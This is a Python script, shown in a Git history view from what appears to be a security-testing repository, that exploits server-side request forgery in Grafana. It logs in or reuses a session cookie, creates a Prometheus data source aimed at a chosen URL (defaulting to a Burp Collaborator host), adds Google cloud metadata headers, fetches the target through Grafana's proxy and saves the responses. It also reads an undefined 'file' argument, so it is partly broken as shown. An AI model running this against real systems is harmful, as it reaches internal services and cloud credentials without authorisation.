h4cker/web_application_testing/ssrf_ywing.py

191 lines
8.4 KiB
Python
Raw Normal View History

2023-07-03 22:22:09 +00:00
#!/usr/bin/env python
# This script is used to test a Grafana instance for Server Side Request Forgery (SSRF) vulnerabilities through Prometheus.
# This was originally authored by @RandomRobbieBF.
# Note: The SSRF exploit attempted by this script does not follow redirects.
# Importing the required libraries
2023-07-03 23:21:17 +00:00
2023-07-03 22:22:09 +00:00
import requests
import json
import sys
import argparse
import re
import os.path
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# Disabling warnings from insecure requests for cleaner output.
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# Creating a new session object that will persist across requests
session = requests.Session()
2023-07-03 23:21:17 +00:00
2023-07-03 22:22:09 +00:00
parser = argparse.ArgumentParser()
# The user can optionally provide a session cookie. If not provided, a default value is used.
parser.add_argument("-s", "--session", required=False ,default="9765ac114207245baf67dfd2a5e29f3a",help="Session Cookie Value")
# The URL of the host to be checked for SSRF. It needs to have http or https.
parser.add_argument("-u", "--url", required=False, default="http://8t2s8yx5gh5nw0z9bd3atkoprgx6lv.burpcollaborator.net",help="URL of host to check will need http or https")
# The Grafana host URL. This argument is required.
parser.add_argument("-H", "--host", default="http://kubernetes.docker.internal:5000",required=True, help="Host for Grafana")
# Username for the Grafana instance. It's not required by default.
parser.add_argument("-U", "--username", default="",required=False, help="Username for Grafana")
# Password for the Grafana instance. It's not required by default.
parser.add_argument("-P", "--password", default="",required=False, help="Password for Grafana")
# If the user wants to use a proxy for debugging, they can provide it here.
parser.add_argument("-p", "--proxy", default="",required=False, help="Proxy for debugging")
# Parsing the arguments
args = parser.parse_args()
ssrf_url = args.url
sessionid = args.session
ghost = args.host
2023-07-03 23:21:17 +00:00
files = args.file
2023-07-03 22:22:09 +00:00
username = args.username
password = args.password
2023-07-03 23:21:17 +00:00
2023-07-03 22:22:09 +00:00
if args.proxy:
http_proxy = args.proxy
os.environ['HTTP_PROXY'] = http_proxy
os.environ['HTTPS_PROXY'] = http_proxy
2023-07-03 23:21:17 +00:00
def create_source(sessionid,ssrf_url,ghost):
rawBody = "{\"name\":\"SSRF-TESTING\",\"type\":\"prometheus\",\"access\":\"proxy\",\"isDefault\":false}"
headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/new","Connection":"close","x-grafana-org-id":"1","content-type":"application/json","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"grafana_session":""+sessionid+""}
response = session.post(""+ghost+"/api/datasources", data=rawBody, headers=headers, cookies=cookies,verify=False)
y = json.loads(response.text)
if "Data source with same name already exists" in response.text:
print("You will need to manually delete the current source that is named SSRF-TESTING")
sys.exit(0)
elif "id" in response.text:
print("Source Created")
return (y["id"])
else:
print ("Error:")
print("Status code: %i" % response.status_code)
print(response.text)
def refresh_source(ghost,sessionid,id):
headers = {"Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/6/","Connection":"close","x-grafana-org-id":"1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"grafana_session":""+sessionid+""}
response = session.get(""+ghost+"/api/datasources/"+id+"", headers=headers, cookies=cookies,verify=False)
if response.status_code == 200:
print("Refreshed Sources")
else:
print("Error:")
print("Status code: %i" % response.status_code)
print(response.text)
delete_source(sessionid,id,ghost)
def create_ssrf(sessionid,ssrf_url,ghost,id):
rawBody = "{\"id\":"+id+",\"orgId\":1,\"name\":\"SSRF-TESTING\",\"type\":\"prometheus\",\"typeLogoUrl\":\"\",\"access\":\"proxy\",\"url\":\""+ssrf_url+"\",\"password\":\"test\",\"user\":\"test\",\"database\":\"test\",\"basicAuth\":false,\"basicAuthUser\":\"\",\"basicAuthPassword\":\"\",\"withCredentials\":false,\"isDefault\":false,\"jsonData\":{\"tlsSkipVerify\":true,\"httpHeaderName1\":\"Metadata-Flavor\",\"httpHeaderName2\":\"Metadata\",\"httpMethod\":\"GET\"},\"secureJsonData\":{\"httpHeaderValue1\":\"Google\",\"httpHeaderValue2\":\"true\"},\"version\":1,\"readOnly\":false}"
headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/6/","Connection":"close","x-grafana-org-id":"1","content-type":"application/json","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"grafana_session":""+sessionid+""}
response = session.put(""+ghost+"/api/datasources/"+id+"", data=rawBody, headers=headers, cookies=cookies,verify=False)
if response.status_code == 200:
print("SSRF Source Updated")
else:
print("Error:")
print("Status code: %i" % response.status_code)
print(response.text)
delete_source(sessionid,id,ghost)
def check_ssrf(sessionid,id,ghost,ssrf_url):
headers = {"Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/"+id+"/","Connection":"close","x-grafana-org-id":"1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate","x-grafana-nocache":"true"}
cookies = {"grafana_session":""+sessionid+""}
response = session.get(""+ghost+"/api/datasources/proxy/"+id+"/", headers=headers, cookies=cookies,verify=False)
if response.status_code != 502:
print("Status code: %i" % response.status_code)
print("Response body:\n %s" % response.text)
gghost = ghost.partition('://')[2]
sub_addr = gghost.partition('.')[0]
text_file = open(""+sub_addr+".txt", "a")
text_file.write("SSRF URL: %s\n" % ssrf_url)
text_file.write("Status code: %i\n" % response.status_code)
text_file.write("Response body: %s\n\n\n\n" % response.text)
text_file.close()
delete_source(sessionid,id,ghost)
else:
print("Error:")
print(response.text)
delete_source(sessionid,id,ghost)
def delete_source(sessionid,id,ghost):
headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/datasources/edit/3/","Connection":"close","x-grafana-org-id":"1","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"grafana_session":""+sessionid+""}
response = session.delete(""+ghost+"/api/datasources/"+id+"", headers=headers, cookies=cookies,verify=False)
if "Data source deleted" in response.text:
print("Deleted Old SSRF Source")
else:
print("Error:")
print(response.text)
sys.exit(0)
def login(ghost,username,password):
rawBody = "{\"user\":\""+username+"\",\"password\":\""+password+"\",\"email\":\"\"}"
headers = {"Origin":""+ghost+"","Accept":"application/json, text/plain, */*","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:75.0) Gecko/20100101 Firefox/75.0","Referer":""+ghost+"/signup","Connection":"close","content-type":"application/json","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"}
cookies = {"redirect_to":"%2F"}
response = session.post(""+ghost+"/login", data=rawBody, headers=headers, cookies=cookies,verify=False)
if "grafana_session" in response.cookies:
return response.cookies["grafana_session"]
if "grafana_sess" in response.cookies:
return response.cookies["grafana_sess"]
else:
print("Login Session Cookie not set")
sys.exit(0)
2023-07-03 22:22:09 +00:00
if username:
sessionid = login(ghost,username,password)
2023-07-03 23:21:17 +00:00
2023-07-03 22:22:09 +00:00
if ssrf_url:
2023-07-03 23:21:17 +00:00
i = create_source (sessionid,ssrf_url,ghost)
2023-07-03 22:22:09 +00:00
id = str(i)
refresh_source(ghost,sessionid,id)
create_ssrf(sessionid,ssrf_url,ghost,id)
check_ssrf(sessionid,id,ghost,ssrf_url)
2023-07-03 23:21:17 +00:00
if files:
if os.path.exists(files):
with open(files, 'r') as f:
for line in f:
ssrf_url = line.replace("\n","")
i = create_source (sessionid,ssrf_url,ghost)
id = str(i)
refresh_source(ghost,sessionid,id)
create_ssrf(sessionid,ssrf_url,ghost,id)
check_ssrf(sessionid,id,ghost,ssrf_url)
f.close()